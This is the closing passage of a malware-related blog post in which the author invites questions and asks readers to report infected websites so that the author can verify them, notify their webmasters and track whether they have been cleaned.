Please feel free to ask any questions you may have, or if you want me to expound on any of the steps above.  Also please comment about any websites that you find that have virus’s on them.  I will double check the website before notifying the web masters.  I will also try to create a section that lists all of the websites that people have listed or that I have found, and in theory I will update the list with whether the web master has cleared the virus or not.

Posted in Virus / Malware | Tagged , , , , | 5 Comments